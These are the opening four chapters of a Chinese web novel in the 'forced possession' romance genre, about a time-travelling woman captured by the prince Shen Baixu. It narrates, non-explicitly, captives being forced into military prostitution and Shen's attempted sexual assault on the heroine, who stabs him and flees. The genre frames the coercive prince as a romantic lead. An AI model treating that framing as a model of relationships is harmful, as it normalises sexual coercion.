《郎君不善(强取豪夺)》 1. 第 1 章 初秋的风已然沾上了一丝凛冽。 孟清芷抱着双臂跪坐在地上,眼前的红盖头随着轻风微微起伏。四周到处是俘虏,都紧张地蜷缩在地上,无人敢出声,她能清晰地听到不远处的篝火传来的细碎响声。 远处来了一群人,他们脚步声沉重,身上的盔甲沾着鲜血。孟清芷闻到浓郁的血腥味愈发逼近,不由得把腰塌下去,尽量让自己在人群中显得不起眼。 小声交谈了一会儿,为首的人大步走上前来,在俘虏们面前站定了,“嚯”的一声,拔出了腰间的佩剑。 被俘之人大多数是女子,听见刀剑的声音,皆是忍不住倒吸一口冷气,有几个年纪小的已经忍不住小声哭了起来。 “圣上有旨,清剿反贼公孙辞一应兵力,如今他的部下已被本王斩杀殆尽。”一道雄武有力的声音徐徐传来,随即又带了些许遗憾:“只可惜,公孙辞狡猾,独他一人不知去向。” “尔等若有知情不报者,必死无疑。” 回答他的是死一般的寂静。 孟清芷心中飞速思索,随即暗道不妙。 约莫十几日前,她还在快活地和闺蜜林霄霄享受黄金周假期,哪知在一个小众旅游区不甚落水,林霄霄为了救她,也跃入水中,随即,记忆便只剩一片混沌。 再醒过来,她就到了这个陌生的地方。 在这里,她的爹娘穷苦又势力,她上头已经有两个兄长,她作为一个女子,在家中的地位可想而知。 可爹娘却一反常态,喜滋滋地告诉她,江城首领公孙辞看上了她,要纳她做正妻。 她才张口说了一句不去,便看见爹娘的脸色如同染了黑墨的池水一般变色,又顿住了口。 也许,嫁人并不失为一条更好的出路,起码先脱离了这里,再徐徐想办法。 大婚当日,她穿上喜服,随着公孙家派来的人上了花轿,才行进没多远,便被一群兵马拦住,连着花轿被赶到了军营里,做了俘虏。 如今她是公孙辞的新婚妻子,无论如何都难逃其咎。 果然,心下忐忑还未及平复,便见那双皂靴向前迈了几步。 “都不说?那好,本王换个问法。” “你们这群人中,谁是最得公孙辞宠信之人?” 沈白叙手中执剑,冷冷地向这群人瞥过来。 既然是新婚大喜之日,不可能完全没有和公孙辞相熟的下人。眼下这群人都自身难保,不如来个狗咬狗的法子。 “第一个检举之人,赏银五两。” 话音刚落,安静的人群中便有了些许骚动。 孟清芷察觉到身旁传来细碎的声音,围拢在一起的人正在向远离她的方向悄然散去。 更有甚者,此前在她前面的人都不动声色地向后退了几米,只剩她一个人暴露在前,避无可避。 她迅速做了决定,才要缓缓向后退去,忽然被身后的几双手联合推了一把。 脚下一软,她手臂跌进烂泥里,离那利剑只有半尺之遥。 下一瞬,只见那柄利剑顺着盖头下的缝隙斜插进来,准确无误地架在她的脖子上。 低沉又有力的声音自耳边传来:“你就是公孙辞迎娶的新妇?” 新妇,心腹,颇有些一语双关的意思在里面。 孟清芷心中有气,气眼前之人不分青红皂白地威胁她,更气的是身后人落井下石的嘴脸。 逃避已没有意义,她仍然跪坐着,却昂起头,双手一把掀开了红盖头。 因家中贫困,因此她发饰稍显简单,只戴着几只公孙辞派人送来的金钗,鬓边别了两朵正红色的绢花,耳上挂着南边时兴的白玉镶金耳坠。发间略有些散乱,但挺直的脊背从未软下半分。 沈白叙一眼看去,先注意到她那双清冽自如的凤目,虽含着几分忧惧,但更多的是不服输的韧劲,一眨不眨地对着他看。 随着盖头掀开,飘来的桂花清油香气也扰人心弦,她气质清冷,神似幽兰。倔强的唇紧紧地抿着,像极了一朵含苞欲放的山茶花。 眼神对撞的第三次,是沈白叙先垂下了眸。 听闻公孙辞一贯好女色,果然不假。 孟清芷看着眼前之人身着银色铠甲,身姿高挺,器宇不凡,未卸去的头盔包裹着几乎整张脸,只有一双阴鸷的桃花眼露出来,带着审视的目光冷冷地打量着她。 察觉到那柄冰冷的剑还抵在脖颈处,她情知拖延不得,立即出声:“将军容秉,小女子虽为公孙辞新妇,可从未见过他,不仅不知他的长相,更不知他如今身在何处。” 她说的不是假话,相关情况她详细问过,就连原身都未曾见过那公孙辞,想来只是上街时,无意间被他瞧上的。 沈白叙眯起双眼向她看过来,孟清芷又忙道:“将军若不信,大可去查,小女子连同家人都是循规蹈矩之人,从未与那叛党反贼有过半分牵扯。只是江城一带已被他尽数占据,强权之下,区区草民不得不屈服。” 言毕,她向身后瞥了一眼,沉声道:“倒是这群接亲之人,反而可能是跟随公孙辞多年的下人,不如就从他们这厢查起,也省得浪费将军时间。” 她言语伶俐,口齿清晰,身后一群人哪想到这等局面,有一胆大之人连滚带爬近前来,才要张口喊冤,就被沈白叙凌厉的眼神吓得退了回去。 对于她这番话,沈白叙未置可否,剑身偏离了位置,来到她下颚处,稍一用力,她嫩白的脸不得不扬起,稍显凌乱的呼吸喷洒在剑上,起了薄薄的一层水汽。 不知过了多久,孟清芷察觉到自己僵直的身躯略有些发抖,但她神情依旧不变,寻不出丝毫破绽,沾了泥浆的双手握拳,抵在双腿两侧,静等沈白叙发落。 铠甲下,沈白叙的唇角不自觉地上扬了几分——她竟然唤他将军。 要知道,半月之前他奉旨率军南下时,皇帝正是新登基月余,许是忌惮身为皇叔的他夺了军权,竟然连一个临时的督军职位都未封,只说派北辰王沈白叙赴江城督战。 说是督战,他作为上过战场的王爷,如何能袖手旁观?因此也被人暗地里嘲笑,说他甘愿做了制衡南廉王的棋子,操心劳力,最后却无半分好处。 眼前女子唤他将军,不知是刻意而为之,还是无心之举。 但是,被公孙辞选中之人,想必有几分过人之处。 利刃仍抵在她喉间,稍一用力便能了结她的性命。沈白叙回头看向部下霍文忠:“都带下去,逐 个审问。” “若是问不出来什么,女子便充作军妓,男子一律诛杀。” 一群人的号哭声瞬时响起,一群士兵上前拖拽、喝骂。沈白叙收回目光,见眼前之人仍然跪得挺直,连眉头都没皱一下,不禁点了点头。 “你,可有名姓?”他用剑身拍了拍她的侧颈。 孟清芷被他吓得抖了一下,随即又稳住身形,想着瞒他也无用,便如实答道:“小女子姓孟,名清芷。” 沈白叙无声地念了一遍,转头看向霍文忠:“带下去,本王亲自审问。” 霍文忠神色憨直,愣了半晌,不知道沈白叙是不是要把她押到临时的俘营中去。 只是俘营不仅简陋,还关押着许多伤重的俘虏,每天都有人死去,眼前女子娇嫩,若是染上了瘟疫…… “是。”霍文忠觉得自己听懂了意思,随即将孟清芷从地上拉了起来。 夜间庆功宴,霍文忠和手下人奉命盘点了粮草余量,从中匀了些军粮出来,在营帐外燃起一簇簇篝火,将进山巡逻时打下来的野味架在上面烤。 阵阵烤肉香气传来,沈白叙接过霍文忠手中的酒,脸上难得有了一丝笑意。 此番随军征战,除了皇帝有意提防外,江城将士们倒是从无半分不臣之心,至少这副统领霍文忠,就是个实实在在的忠厚人。 若换作他人,面对沈白叙这样一个毫无半分军权的王爷,势必不会言听计从,暗地里不反着干便不错了。 沈白叙军权方面本就薄弱,因此便存了将霍文忠收为己用的心思。 庆功宴上,沈白叙与霍文忠连续饮了好几杯,直到霍文忠红着脸,大着舌头说了几句颠三倒四的话,惹得众人都笑起来。 “王爷。”霍文忠又满上一杯酒,嘿嘿一笑,黑红色的面庞竟然显出一丝狡黠来:“此番定是叫那公孙老贼马失前蹄、痛彻心扉了!” 旁边另一位副将隋令从身侧撞了他一下,打趣道:“用得上你说?王爷才到江城就打了胜仗,举国皆知!” 霍文忠摆摆手,摆出一副高深莫测的表情:“不不不,你不懂。” 沈白叙隐约觉得有些不对,还未来得及制止,便听到霍文忠洪亮的声音传来:“那公孙贼的新婚妻子,眼下正在营帐里等着王爷呢!” 此言一出,先是安静了半晌,随后,众将士借着酒意大发一笑,一片喧哗。 打了胜仗不说,还俘虏了反贼首领的新婚妻子,简直是快哉! 隋令将手中酒一饮而尽,踮脚高呼:“祝北辰王今夜征战顺利!” 又是一阵大笑,众将士心照不宣地大声重复着隋令这句话。 “祝北辰王今夜征战顺利!” “祝北辰王今夜征战顺利!” 醉酒的将士们有些失了分寸,沈白叙被人夺了酒杯,推搡着到了营帐不远处。 他无奈地回头,还想要继续与将士同乐,却见人们已经笑着一哄而散了。 他顿住脚步,方才微醺的神色骤然换成了冷静自持的模样,站在营帐前面,一只脚才踏出半步,便闻到了帐内隐约飘散而出的桂花清油的香气。 他深吸一口气,不知是不适还是新奇,脚步未停,他迈了进去。 2. 第 2 章 营帐内还是日常的摆设布置,没有半点东西错位,可冥冥中就是感觉不一样了。 借着昏暗的烛火,沈白叙不动声色地打量着帐内情形,宽大的幄帐内空无一人,书案旁的椅子上也空空如也。 直到行至角落,才发现一片鲜红包裹着一抹葱白,孟清芷抱着双腿蜷缩在营帐一角,正沉沉睡着,弄脏了的红色喜服盖在她身上,边缘露出一截白嫩的手臂,上面沾满泥污之处已被清洗干净,看来她是极爱干净的女子。 沈白叙站在她身前,仔细观察了一番,确信无疑她是真的睡着了,不禁轻笑一声。 进了敌营做了俘虏,居然还能睡得这般香甜,真不知她是心大还是无畏。 他用脚尖蹭了蹭她,见没半点反应,又多用了几分力气,察觉到战栗的柔软顺着足尖爬上来,眼前的妙人终于醒了。 她眼神里有一瞬间的懵懂混沌,待分辨出是他,马上又笼上了戒备和提防。 “将军。”她一边忙着站起身来,一边轻呼,声音沙哑。 沈白叙没有说话,且看她作何反应。 哪知她站起身后,见沈白叙没有吩咐,也便低着头不动。 沈白叙觉得自己愈发看不懂她。 若她是寻常女子,见了他必定要痛哭流涕解释一番,以求保命;若她真是公孙辞派来的人,也该有一番动作,务必消了他的疑惑,好长久跟在他身边窃听情报。 但她什么都没有做。 “你这条命要还是不要,全都在你。”沈白叙说完,目光自上而下紧盯着她的反应,果然见她抬起头来,可神色里不见半分惊慌。 “将军这是何意?”她问。 “只要老实交代……” 沈白叙这话尚未说完,便被她的声音打断:“半月之前,小女子上街不知遇到了何人,归家之后,第二日便收到公孙辞派人递来的聘书。爹娘胆小怕事,只能应承下来,直到今日出嫁时被将军手下人截获。” 言尽于此,她也不欲替自己辩解什么。 静了片刻,空气中传来一声带着酒意的轻嗤:“伶牙俐齿。” 看着她丝毫不慌,空气中又隐隐传来桂花清油的香气,他察觉到无形的危险,忽然后退了半步。 若是留她在这里,只会是多了个祸患。万一中了公孙辞设计的美人计,便不好了。 “既然不说实话,那就休怪我了。”沈白叙丢下这句话,猛然转身离去。 孟清芷还未反应过来他是何意,便看到他折返回来,身后跟着看守营帐的两个士兵。 “即刻将此女充作军妓。”冰冷的断语一下,孟清芷浑身都僵住了。 两个士兵随即上前来抓她,她只来得及从嗓子里挤出干哑的一句:“将军……”,便被拖拽了出去。 沈白叙给自己倒了杯冷水,一饮而尽,面对着空无一人的营帐,终于又有了些许安心感。 孟清芷被两个士兵关进一个大的营帐内,里面简陋地铺着些许杂草,有一群衣衫不整的女子狼狈不堪地蹲踞在一起。 她闻到空气中沉闷的味道,忙不迭地想要回头向两个士兵说说好话,哪知他们早就去了。 她只怔了一瞬,见那群女子的眼神向她看来,有同情的,有可怜的,更多的是麻木无神的打量。 她迅速做出决定,将身上还挂着的喜服脱下来,将灰色内里翻出来,披在身上。 头上的金饰早已被她取下,放在了喜服内侧。 顾不上脏污,她用喜服衣袖迅速将脸上和嘴唇上的胭脂抹去,尽力掩盖所有引人注目的东西。 做好了这一切,她静悄悄地坐下来,蜷成小小的一团,开始拼命想对策。 方才那个将军,明显是不相信她的,至于为何将她送到他的营帐里,她倾向于是那位叫霍文忠的副将自作主张。 虽然到了这般凶险之地,也不能坐以待毙。 可还没等她想出万全之策,就听到外面隐约传来了醉酒将士们的调笑声。 声音逼近时,更多不堪入耳的话语听得愈发清晰,营帐内聚在一处的女子们顿时慌张起来,有几个已经按捺不住,愈发向墙角缩去。 孟清芷心跳如鼓,耳边传来一声尖叫——那群醉酒将士已经掀开营帐,进来抓人了。 一片混乱。 身旁萦绕着冲天的酒气,随着女子们的哭喊声,半数以上的都被拖曳出去,只留下几个侥幸的,还在原地瑟瑟发抖。 孟清芷用宽大的喜服掩住口鼻,只留一双眼睛在外观察情况。 待到只余三五人时,终于有没抓到人的将士点燃了蜡烛,借着光亮向另一处角落里摸过来。 一只滚烫的大手沾着汗味,一把揪住她的衣领,将她整个人提了起来。 “这里居然藏着一个,嘿!”粗鲁的声音伴随着剧烈的酒气传来,紧接着又是一句粗话。 喜服被他拂开,贪婪的神色在她面上逡巡片刻,伴着酒意,对着她的容颜发出满意的喟叹声。 “这位将军。”孟清芷一边挣扎,一边飞快地说道:“可能你不清楚状况,小女子是……” 醉酒之人如何容得她说出许多,早就加了力气,将她拖出营帐外,迎着微凉的秋风,她放缓了语气,用醉鬼能听清的声音说道:“小女子是你们大将军看中之人。” 醉鬼停了一瞬,随即又轻笑起来:“哪有什么大将军。” “你是说北辰王沈白叙?”他问。 孟清芷不知道他的名号,只好胡乱点头:“就是你们的领头人,此前我一直在他营帐内,今日不慎惹恼了他,才被遣到这里来的。” 醉鬼彻底停了下来。 孟清芷一颗心全部提到了喉咙处,心惊胆战地盯着他的反应。 随即,不屑一顾的声音传来:“怕什么,咱们这位王爷最是体贴下属,你既是他玩腻了不要的,留给我们玩玩,也不打紧。” 拖拽的力道猛地凶狠起来,孟清芷一个趔趄,险些跌倒在地上,她失了方才的冷静,披着头发,奋力挣扎起来。 “见过胆子大的,没见过你这般不怕死的,你这厢误了事,明日酒醒了别后悔!”她一边咬牙威胁着,一边又想起一个人来:“我要见霍将军!” “霍将 军?”酒鬼也失了耐性:“他不近女色,你找错人了。” “霍文忠知道事情始末,就是他把我安排在北辰王营帐内的,他最清楚,我只要见他!” 醉鬼觉得聒噪,抬起手臂,想要一掌把她打晕,忽然听见面前一道黑影不满地喝问:“何人在此喧哗!” 醉鬼定眼一瞧,慌忙稽首:“霍将军,部下乃前锋瞿锐。” 霍文忠才从庆功宴回来,没料到在路上听到一女子频繁高呼自己名姓,便起了疑心,停下来问了问。 见只是部下嫖宿军妓,便不十分放在心上,只摆手不耐:“军营肃静,岂是你能大声喧哗之处?” 瞿锐弯腰点头,才要糊弄过去,怎料孟清芷早已抓住这个机会,疾声高呼:“霍将军,霍将军救我!” 霍文忠不得不凑上前看了一眼,见昏暗的篝火映照下,眼前女子虽面色憔悴、形容狼狈,但竟然是白天他亲自送去北辰王营帐中之人,不禁疑惑:“怎得是你?” “霍将军。”孟清芷眼中含泪:“此事说来话长,还请将军屏退左右。” 霍文忠本不欲多问,但见该女子神色焦急惊惶,担心真有什么事,便耐着性子叫瞿锐退下了。 那瞿锐虽心不甘情不愿,但碍于霍将军面子,还是咬着牙退下了,临去之前冷冷地瞥了孟清芷一眼。 “将军。”孟清芷见四下无人,方才流着泪说:“方才王爷到了营帐内,曾问我是否仍是完璧之身。” 她见霍文忠原本严肃的脸上起了明显的难堪神色,仍不管不顾地说道:“我那时一时糊涂,回答惹恼了王爷,他就命人将我送到这里来了,现下我心中愧悔不已,恨不能回去服侍王爷。我看出王爷对我有些兴趣,也知道霍将军您向来心慈,此番辜负了您的心意,属实羞愧……” 一边泪语涟涟地说着,一边将婚服内的金钗取了一支出来,试探地递了过去。 若是霍文忠真如瞿锐所说不好女色,那么,钱财这条路也要试一下。 “小女子自知无足轻重,本不配将军相助,只是今夜王爷略醉了酒,若是明日改了主意,但大错已然酿成……” 她一边试探着,一边用双手托着金钗递过去,人也顺势跪下了。 霍文忠皱着眉,沉吟片刻,只觉她说的似乎不错。 今日,的确是沈白叙亲口下令,要单独对她审问,若扰乱了审问计划,或是他真的对她有些兴趣,那便得不偿失了。 而替她单独安排一间营帐,吩咐将士不得动她,也只不过是很小的事,若是沈白叙根本没有将她放在心上,过后再处理便是。 想到这里,霍文忠豁然开朗,眉头展开,伸手取了那支金簪。 “仅此一次,下不为例。”他说完,又寻了一个护卫兵来,低声说了几句什么。 “多谢霍将军。”孟清芷心中窃喜,忙又轻声提醒道:“还望霍将军莫要与王爷提及此事……” 她方才信口胡诌的鬼话,怎么能叫沈白叙知道。 霍文忠虽憨直,倒也不傻,情知此事私密,怎会去提。 他点点头,转身走了。 3. 第 3 章 孟清芷在一间单独搭起的简易营帐内,惴惴不安地等了一日。 白天有人来送饭,她只是小心翼翼地等到送饭人走远了,才会迅速将饭食吃完。 待到夜间,旁边帐篷内又传来女子呼喊声,她捂着耳朵躲着,果然没人到这边来。 她心中暗暗为那些女子祈祷,一边觉得不忍,一边又担心自己的处境。 毕竟,她昨晚与霍文忠说的话只是权宜之计,沈白叙极有可能不会唤她回去,若真如此,只怕用不了三日,她的下场就如那些女子一样。 可她白日里观察四周,发现营帐内监守极严,她一个女子,又是人生地不熟,根本无法逃出去。 想想因救她而落水的林霄霄,她更是心急如焚——直到现在还未与林霄霄碰面,也不知道她是否一样,也穿越到了这里。 她在这厢心急,江城的战事却是愈见平稳,公孙辞吃了败仗后,部众零星,已大有颓势,近几日沈白叙只吩咐小股兵力进行收尾,倒也轻松。 这一日晨起练剑后,沈白叙与霍文忠切磋完毕,正谈笑着,预备到营帐中去商讨捉拿公孙辞一事,见铺兵递上密报来。 沈白叙本以为是军情,谁知上面写道,皇帝派了身边亲卫做江城节度使,明日便会到任。 既是密报,就代表皇帝并未明令下旨,是紧急加派江城节度使来,查探沈白叙的军中状况。 沈白叙面上并无半分变化,谈笑间支开了霍文忠,片刻后,三个身材高壮、沉默寡言之人进了营帐内。 这三人是沈白叙心腹,分别是郑玄策、栾鹰和长闻。郑玄策擅谋略、测算,栾鹰武功天下一绝,长闻听力出众、最擅探听消息。 听了沈白叙的话,栾鹰和长闻看向郑玄策,都在等着他发话。 “王爷英明,想必早已猜到了皇帝此番意图。”郑玄策并未犹豫,抚着半白的胡须,摇头笑道:“只是咱们这位皇帝毕竟年幼,心思也太过明显了些。” “王爷您才做出一些功绩,他不说封赏,反而先派节度使来监察,这分明是忌惮王爷,担心王爷借此扩充军中力量。” “此番也同样说明王爷您功绩不俗,甚至在民间已有称颂之语,所以皇帝才这般如临大敌。”郑玄策看着沈白叙面色和缓了些,也笑起来:“至于化解,又有何难,王爷只需放出风声去,只说那公孙辞本就不堪一击,王爷您只是略施小计,他们便溃不成军了。” “再者,那节度使到任后,必会查探王爷与江城军之间关系,王爷这几日只作出不耐的样子,不与霍将军等人往来,待过了这几日就好。” “若是能做戏做全些,演出几分好女色的样子来,势必更叫节度使放心。”郑玄策说到这里,忽然想到了什么:“属下记得,昨日王爷似乎将那公孙辞新妇囚在了营帐内?” 沈白叙还未答话,郑玄策已是点头笑出声来:“王爷此举英明,倒省去了刻意做戏。” 沈白叙面上阴晴不定,可不得不承认,郑玄策说的话都是对的。 “便依你说的办。”他想到那个带着倔强神色的丽影,莫名起了几分焦躁:“把霍文忠喊来。” 与霍文忠谈了几句军情,沈白叙瞥了一眼营帐角落,不经意地问道:“那公孙辞新妇,如何了?” 霍文忠愣了一瞬,随即答道:“回王爷,部下叫人安排了单独营帐与她,若王爷有吩咐,随时可召回。” 沈白叙也没想到霍文忠一向粗犷,在这件事上竟如此细心,他一时间也不知道说什么,只点点头:“那便安排吧。” 霍文忠答应着,转念一想,他费心安排了这许多,总不能叫心血白费,不如卖个好儿,因此嘿嘿一笑:“王爷放心,部下专门安排了守卫看守,她这两日未被旁人染指。” 说完,他便告退了,并未注意到沈白叙蹙起的眉头和疑惑的神色。 —— 孟清芷尚在昏睡中,便被人唤醒,又扔了些洗澡的物什与她,叫她好生清洗一番。 还未洗毕,守卫就在外头忙忙催了几回,她心中疑惑,还是不得不加快了速度。 守卫安排的水是冰凉的,她咬着牙洗完,浑身僵直发抖,军中并无女子的干净衣裳,她只好披上原先的,跟着守卫又回到了沈白叙的营帐前。 白天,营帐入口敞开,守卫远远看到沈白叙在书案前,竟不敢过去,只带了孟清芷在门前遥遥站着。 那沈白叙刚看完京中传来的密信,有些口渴,才张口要喊人倒水,便看到门口处多了一丛鲜红色,与军帐肃整的氛围十分不搭。 “进来。”他沉声吩咐。 孟清芷被守卫引进去,在离沈白叙三米之外便站住了,低头不语。 “近前来。” 她又往前迈了几步。 “抬起头来。” 她垂着眼睛抬起头来,尽量避免与他直接对视。 他扫了一眼,见她纤白颀长的颈窝处似乎有一颗颜色很淡的胭脂痣,迎着光看去,像是这点嫣红将她固定在原地,唯有胸膛的微微起伏代表她还是个活生生的人。 虽然妆容淡了,头上的金饰也消失不见,他还是察觉到了她暗藏的桀骜。看来这两日,并未将她的棱角打磨圆润。 孟清芷这几日都没睡好,虽站着,整个人止不住地往下溜,直到沈白叙的声音徐徐传来:“很有本事。” 她强打精神,抬起眼皮向他看去。 “你头上的金钗呢?” 这句话听得她呼吸一滞,忙答道:“夜间匆忙,不知道掉在何处了,丢了一只。” 看着她将剩下的首饰掏出来,他未置可否,只是扬眉问道:“哦?用不用本王安排人替你找找?” 她想也没想,便答道:“不必麻烦王爷,这本来也不是我的东西。” 沈白叙冷哼一声,声音愈加阴冷:“你可知道,贿赂军中要职,要以何罪论处?” 孟清芷有一瞬间怀疑是不是霍文忠主动请罪的,可想想又觉得不对。 霍文忠虽看上去憨直,但不是傻子,他手中握着江城军权,无需向一个王爷屈膝逢迎到这种地步。 结合沈白叙眼中闪过的一丝狡黠,她几乎立即断定,他是诈她的。 “王爷是何意,小女子听不懂。”她缓缓摇头,眼神困惑。 沈白叙将手中信件扔在桌上,不紧不慢地站起身,向孟清芷的方向走来。 霍文忠素来就有些贪财的名声,再者只是一只金钗而已,历来其他随军统领征战时,明里暗里捞多少好处?更何况他本来就有拉拢霍文忠的心思,更不会为了这只金钗小题大做。 只是眼前女子,甚是狡诈。 可惜正值节度使到任之际,留她尚有用处,无法好好审她。沈白叙素来喜好洁净,担心其余女子有不干不净的病在身上。 孟清芷又低下头,心中正百转千回,提防着他又问出什么话来,岂料他只是围着她转了一圈,便从门口出去了,再无他话。 孟清芷在他营帐里待了两个时辰,午膳时分,沈白叙派人送了热的饭菜来,她才用完,沈白叙又回来了。 丢了几件嫩粉嫣红的女子衣物和装扮的物什给她,叫她好生打扮一番。 随即又吩咐她去营地最南端,叫人抬一桶净水来。 孟清芷不解何意,但还是照做了。 沈白叙的营帐在最北边,她去最南边催水,一路上看见她的人不计其数。 虽挡着脸,但仍能听到窃窃议论之声。 多半是说她身为公孙辞新妇,却能被沈白叙看中留在营帐内,定然有过人的本事。 也有说她妖媚迷惑,引诱沈白叙的。 孟清芷权当没有听见。 催了水,她又原路回去,顺便将营地布置看了个遍,牢牢记在心中。 四面皆有士兵把守,营地分为四个区域,各有一队驻军巡逻,不分昼夜。行至较高处,还隐约能看到外围也有许多驻军,警惕性极强。 若仅凭她一个人,想必是逃不出去的。 而若想在这里好好生存下去,势必要讨好沈白叙,看他的脸色。 虽然她不愿,但若是沈白叙一直维持这样,她倒也可以试着取得他的信任。 正这样想着,忽然斜刺里冲出来两个女人,一个大约四五十岁,一个看上去还年轻,两个人一边呜咽一边向前冲,身后跟着几个士兵。 见到孟清芷,她们二人齐齐愣住了,年长些的女人反应极快,当场便跪了下来,口中高呼:“求姑娘救救我女儿!” 突发的变故使 得孟清芷也摸不着头脑,她一边仔细回想自己在哪里见过这两人,一边叫她们先起来。 “姑娘不曾认识我们。”女人一边哭,一边说道:“我们母女两个,是那日被派去接亲的,我真是该死,叫女儿也跟了来,这才落到这个地步。” 说完又叩头:“还请姑娘救救我女儿。” 这是那日结亲队伍中的喜娘,带她女儿来,一是想要叫她学习婚事习俗,将来好接手,二是叫她见见世面,谁承想出了这件事。 孟清芷颇有些为难。 她们这是把她当成救星了,以为她真的已经在沈白叙那里得了宠爱,要风得风要雨得雨。 殊不知,眼下她也是自身难保。 思考了片刻,她抬头见身后跟着的士兵碍着她的面子,竟迟迟没有出言催促,心中有了主意。 她从身上掏了一只金钗出来,塞在那女子手里。 这金钗虽不算贵重,但若是她女儿落在贪财之人手里,也算是有几率能买一半的命。 她见她女儿年纪尚小,便耐心教了几句,必要时最起码可以保命。 随即又叮嘱,话语间不可与她扯上太多关系。 她心中隐约有预感,沈白叙怕是迟早要对她下手,严重些便是要她的命,再不济也是审问一番。 若是这两人言语间与她多有牵扯,到时候可能会遭受连累。 —— 傍晚时分,江城节度使盛思明及手下到任,沈白叙依礼设宴相待。 盛思明才到而立之年,已升至金吾卫副总指挥,加任江城节度使。此人沉默寡言,眼神精于算计,一看便知不是好糊弄的人。 沈白叙依然吩咐下去,因此营中将士都是一派松散模样。盛思明一路看去,不禁轻皱眉头,但什么都没说。 宴席上,霍文忠等人又借着酒意问起孟清芷之事,沈白叙假意不耐,将话头绕了过去。 酒过三巡,盛思明回营帐歇息,沈白叙独自一人回到营帐。 这一次,孟清芷并未入睡。 死死地盯着营帐入口处,从黄昏到夜晚。直到昏昏欲睡时,方才看到一个高健的身影一晃而入,点燃了门口处的灯烛。 并未看她一眼,他反身将帘子放下来,不紧不慢地将外衣褪了,随手扔在书案前的椅子上。 孟清芷感受到无形的压迫力,她几乎大气不出,紧盯着沈白叙的一举一动。 脱去外衣后,愈发显得身形分明,他走近后,身后微弱的烛光也被遮盖住,他的一切遮天蔽日,如高山一般倾轧而至。 已经察觉到外面似乎有人偷听,他索性也不再掩饰,声音暗沉微哑:“身上可有什么病?” 孟清芷一时间未反应过来,先是下意识地摇了摇头,待察觉到他的意图后,又慌忙点头。 沈白叙看在眼里,嘲讽一笑。 “有何病症?我来瞧瞧。” 孟清芷骤然发觉身上一轻,整个人被他打横抱了起来,略走几步,放在了幄帐内。 她整个人被陌生的气息包围,天旋地转般的恐慌和不安感油然而生。 “王爷,你醉了,快醒醒。”她疾声唤他。 他一定是喝醉了,意识不清晰,才会做出这样的事。 沈白叙用一根指头将她散开的发拂去,露出白皙柔嫩的肩头。 孟清芷被激起一阵战栗,随即用手臂去挡,又被他捉住手腕,抵在枕上:“别躲。” 他难得很有耐性,虽说是初出茅庐,但很不愿在一个女子面前显露出来,便学着话本上的样子,在她耳畔盘旋许久,随后,忽然含住了她的耳垂。 孟清芷仿佛如梦初醒,她剧烈地挣扎起来,可被沈白叙牢牢压在身下,滚烫的灼热连续不断,她几乎说不出完整的话。 心中翻江倒海:这算什么?他不就是仗着自己有权有势,随意欺压女子? 强烈的不甘催促着她做出些什么,她忽然察觉到手腕一松,见沈白叙坐起身来,略有些急躁地扯着剩下的衣衫。 她忙将手插进枕下缝隙,想趁他不备,用枕头砸他。 岂料,她的手摸到了一柄冷硬的把手,另一只手也摸过去,轻而易举将刀鞘拔出。 冰冷的杀意有了实感,就镶嵌在她手中。 4. 第 4 章 秋夜,寒风虽不至于入骨冰寒,但还是叫孟清芷打了个寒战。 她躲在营帐外数十米外,裸露在风中的手臂起了一层细密的鸡皮疙瘩,唯有手中攥着的物什发出微微暖意。 她忽然回过神来,慌忙甩开了手中的匕首。 那股暖意顺着手心缓缓流到手臂上,带着滞涩的血腥气。 万万没想到,她居然真的能成功。 方才,她拔刀而起之时,外面刚好传来一阵喧嚣,沈白叙略一分神,左肩瞬间被刺入。 先是一阵冰冷入骨,随即是撕裂般的疼痛蔓延开来。 孟清芷担心自己不成功,几乎是用尽了全身的力气。 沈白叙愕然低下头,发出一声闷哼。 随即,他右手向前一挥,试图将她脖颈牢牢掐住。 她不知哪里来的力气,飞身躲过,在地上滚了一圈,随即颤抖着站起身来,飞奔而去。 奇怪的是,营帐外并无护卫兵。 不远处传来的喧嚣越来越大,她躲在黑暗中,只一会儿便看到一个护卫兵冲进营帐中,大声喊道:“王爷,公孙贼率兵偷袭!已经杀进来了!” 年轻的护卫兵忽然顿住口,紧盯着榻上淋漓的鲜血和沈白叙惨白的脸色。 沈白叙咬着牙,额上青筋爆出,他回过头来,一颗汗珠滴在按压伤处的右手臂上。 “继续说。”声音依旧沉稳。 孟清芷看清了自己所处的位置,应当是在营地偏西北的位置,她记得这里有一个出口,仿佛还有一个马厩。 而混乱发生的地方,似乎是在最远的东南角。 所有将士都向着东南角出动,周围没有人注意到她。 真是天赐良机。 孟清芷在大学时曾报名参加过骑马社团,虽然技艺不纯熟,但基本功还是有的。 略一思索间,局势突变,已有几十个匪徒顺着营帐摸了过来,几支利箭在空中发出令人悚然之声。 孟清芷眼睁睁看着一个护卫兵被箭射中,倒在她不远处。才要动身向马厩方向逃窜的她看了一眼自己身上嫩粉色的衣衫,忽然停了下来。 匆忙剥下那护卫兵的外衣,勉强罩在自己身上,她身量小,穿梭几遭后,如愿来到了马厩旁。 与此同时,营帐内,沈白叙已经上好了药,来不及用布裹好伤处,便立即冲了出去。 “你,去寻她回来。”他想起了什么,忽然回头望向来报信的护卫兵:“活要见人,死要见尸。” 孟清芷骑着马,从西北门跨出。 有巡逻兵看见她,才要喝止,又被她粗着声音怼回去:“公孙贼偷袭,尔等快去相助!” 这一招屡试不爽,直到飞奔出去几里地远,她狂跳的心脏才逐渐平稳下来。 前方出现了岔路口,孟清芷短暂勒住缰绳,随即毫不犹豫地选择了左边密林深处的路。 有密林做遮盖,想必不会那么容易被发现。 穿过密林,尽头是一处湖泊。孟清芷在这里留了一刻钟,洗去脸上的胭脂水粉,将所有女性化对的特征全部抹去,又在脸上随意抹了两把泥巴,看上去狼狈不堪。 此时再披着护卫兵的衣裳反而更加惹眼,她脱下来,先翻找了片刻,意外发现一块冷硬的面饼,她将面饼揣进怀里,又用衣裳包裹住湖边找到的一块巨石,推进湖里。 抬头看看天,几乎马上要亮了,她隐约记得沈白叙营帐内摆放的江城布防图,她似乎还没有出江城地界。 她记得向北有一条小路,可以勉强避开沿路城池的盘查。 更重要的是,她和林霄霄旅游的地方在北边。 若是能找到当时失足落水的地方,可能就可以回去了。 她忍着不适,捧起干净一些的水润了润嘴唇,啃了一口面饼。 不敢多做逗留,她继续北上,只有马儿需要休息的时候,才会寻个隐蔽的地方停下来。 这样走走停停两天,干粮吃完了,她甚至开始沿路搜寻野果,担心中毒,也不敢多吃。天气愈发冷起来,身上衣裳单薄,经不起半点寒风。 偏这时天公不作美,又下了一场雨,她躲在密林深处,可还是被雨淋了一遭,好不容易等到太阳出来,她已是烧到头昏脚软、浑身发冷了。 